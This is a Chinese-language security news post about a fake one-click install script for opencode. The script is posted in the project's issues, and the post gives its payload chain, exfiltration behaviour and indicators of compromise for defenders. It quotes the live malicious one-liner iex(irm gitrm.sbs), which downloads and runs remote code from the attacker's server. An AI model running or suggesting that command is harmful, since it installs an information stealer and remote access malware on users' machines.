opencode 仓库惊现假「一键安装」脚本：窃密+截屏+远控全套恶意流程
mc-lhz · ghdev · 2026-10-17
有人在 opencode 的 issue 区发布「Easy install opencode」帖，诱导 Windows 用户以管理员权限粘贴 iex(irm gitrm.sbs) 一键安装，实为多层混淆的恶意 PowerShell。
- 载荷链：BASE32 混淆脚本 → 下载带乱序头的 ps1 → 释放并执行 2.exe
- 地理围栏：受害者位于 CIS 国家（俄、白俄、乌克兰等）则直接退出
- 提权时把 %TEMP% 目录加入 Defender 排除项
- 收集主机指纹（机器名、国家、HWID、杀软状态）回传 C2（gitrm.sbs）
- 全屏截图 Base64 外传、下载密码压缩包释放 2.exe、伪造进度条与内核报错、清除 PowerShell 历史痕迹
作者给出 IOC 清单：gitrm.sbs、apix.ps1、2.zip、7za.exe、2.exe；如已运行应隔离主机并排查 %TEMP%\svc、Defender 排除项与对外连接。这是针对 AI 编码工具用户的典型投毒手法。
「编程与Agent」频道最新
- 实测 12 套决策系统：分类器换版的「LARP 式炒作」陷阱 — KlausCodes · 2026-10-23
- 「给 agent 用的 Product Hunt」上线:按真实调用排出的工具榜 — claudeai · 2026-10-23
- 个人智能体元年：OpenClaw 走红到大厂集体入场的一年 — sujingshen · 2026-10-23
- Shopify 内部 Slack bot River 不擅长移动开发,员工做内部广告说服工程师 — jevon · 2026-10-23
- 梗图：AI vibe coding 与老虎机的对应关系逐条拆解 — burny_tech · 2026-10-23
- 一个 prompt 让 Claude Code 造出可拆解的无人机原理演示 — NERDDISCO · 2026-10-23